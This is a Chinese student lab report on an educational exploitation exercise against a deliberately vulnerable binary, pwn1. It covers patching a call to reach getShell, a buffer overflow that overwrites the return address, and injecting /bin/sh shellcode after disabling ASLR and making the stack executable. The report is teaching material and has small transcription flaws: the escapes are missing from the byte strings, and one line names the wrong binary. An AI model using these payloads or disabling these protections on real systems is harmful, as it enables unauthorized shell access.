实验要求:
-
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
-
掌握反汇编与十六进制编程器
-
能正确修改机器指令改变程序执行流程
-
能正确构造payload进行bof攻击
实验内容:
-
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
-
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
-
注入一个自己制作的shellcode并运行这段shellcode
实践目标:
本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
任务一:直接修改程序机器指令,改变程序执行流程
下载目标文件pwn1,用 objdump -d pwn1 命令进行反汇编:
call 8048491 <foo> 是汇编指令
那我们想让它调用getShell,只要修改 d7ffffff 为 c3ffffff
1. vim pwn1 esc->:%!xxd 将显示模式切换为16进制模式:
2.找到e8d7,将其修改为e8c3
3.再用 objdump -d pwn1 命令反汇编看一下,call指令是否正确调用getShell:
4. ./pwn1 运行改后的代码,会得到shell提示符#:
任务二:通过构造输入参数,造成BOF攻击,改变程序执行流
1.用 objdump -d pwn1 命令反汇编:
2.确认输入字符串哪几个字符会覆盖到返回地址
如果输入字符串 1111111122222222333333334444444412345678 ,那 1234 那四个数最终会覆盖到堆栈上的返回地址,所以只要把这四个字符替换为getShell的内存地址,输入给pwn1,pwn1就会运行getShell
3. 确认用什么值来覆盖返回地址
getShell的内存地址,通过反汇编时可以看到,即 0804847d 。应输入11111111222222223333333344444444x7dx84x04x08
4.构造输入字符串
构造输入字符串 perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input 。然后将input的输入
,通过管道符“|”
,作为pwn1
的输入 (cat input; cat) | ./pwn2
任务三:注入Shellcode并执行
1.修改设置
apt-get install execstack //安装execstack命令 execstack -s pwn1 //设置堆栈可执行 execstack -q pwn1 //查询文件的堆栈是否可执行 more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化 echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化 more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
2.构造要注入的payload
使用命令 perl -e 'print "A" x 32;print "x04x03x02x01x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode 注入,其中前面32个A用来填满缓冲区buf, x04x03x02x01 为预留的返回地址retaddr:
接下来确定x4x3x2x1到底该填什么:
- 打开一个终端注入这段攻击buf: (cat input_shellcode;cat) | ./20165311
- 再开另外一个终端,用gdb来调试pwn1这个进程:用 ps -ef | grep 20165311 命令找到pwn1的进程号是:32212
- 用
gdb
、 attach 32212 命令启动gdb调试这个进程: - 用 disassemble foo 命令反汇编,通过设置断点,来查看注入buf的内存地址:
- 用 break *0x080484ae 命令设置断点,输入
c
命令(continue)继续运行,同时在20165311进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用 info r esp 命令查找地址。用 x/16x 0xffffd2ec 命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址应为 0xffffd2f0 : - 接下来只需要将之前的x4x3x2x1改为这个地址即可,用命令 perl -e 'print "A" x 32;print "xf0xd2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
- 再用 (cat input_shellcode;cat) | ./20165311 命令次执行程序,攻击成功!如下图: